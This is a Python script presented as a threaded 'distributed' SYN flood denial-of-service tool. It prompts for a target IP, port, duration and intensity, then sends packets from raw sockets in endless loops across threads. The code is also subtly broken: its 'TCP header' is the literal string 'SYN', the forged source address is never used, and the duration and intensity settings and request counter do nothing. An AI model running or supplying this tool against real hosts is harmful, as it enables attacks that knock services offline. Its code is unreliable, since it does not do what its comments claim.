import socket
import random
import sys
import threading
import time

# Get the target IP and port from user input
target_ip = input("Please enter the target IP address: ")
target_port = int(input("Please enter the target port number: "))

# Attack duration (in seconds)
attack_duration = int(input("Please enter the attack duration (in seconds): "))

# Attack intensity (number of SYN packets to be sent per second)
attack_intensity = int(input("Please enter the attack intensity (number of SYN packets to be sent per second): "))

total_requests = 0

# Function to send SYN Flood attack
def syn_flood(target_ip, target_port, source_ip=None, source_port=None):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
        
        while True:
            # Forge the source IP address and random source port
            if not source_ip:
                source_ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
            
            if not source_port:
                source_port = random.randint(1024, 65535)
            
            # Construct the TCP header
            tcp_header = "SYN"
            packet = tcp_header.encode()
            
            # Send the forged SYN packet
            s.sendto(packet, (target_ip, target_port))
            
    except KeyboardInterrupt:
        print("\nSYN Flood attack has been stopped.")

# Distributed attack function
def distributed_attack(num_threads):
    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=syn_flood, args=(target_ip, target_port))
        threads.append(t)
    
    for thread in threads:
        thread.start()
    
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    start_time = time.time()  # Record the start time of the attack
    num_threads = int(input("Please enter the number of threads for distributed attack: "))
    distributed_attack(num_threads)
    end_time = time.time()  # Record the end time of the attack
    duration = end_time - start_time  # Calculate the attack duration

    # Statistics
    print("Attack finished")
    print(f"Attack duration: {duration:.2f} seconds")
    print(f"Average requests per second: {total_requests / duration:.2f} requests/sec")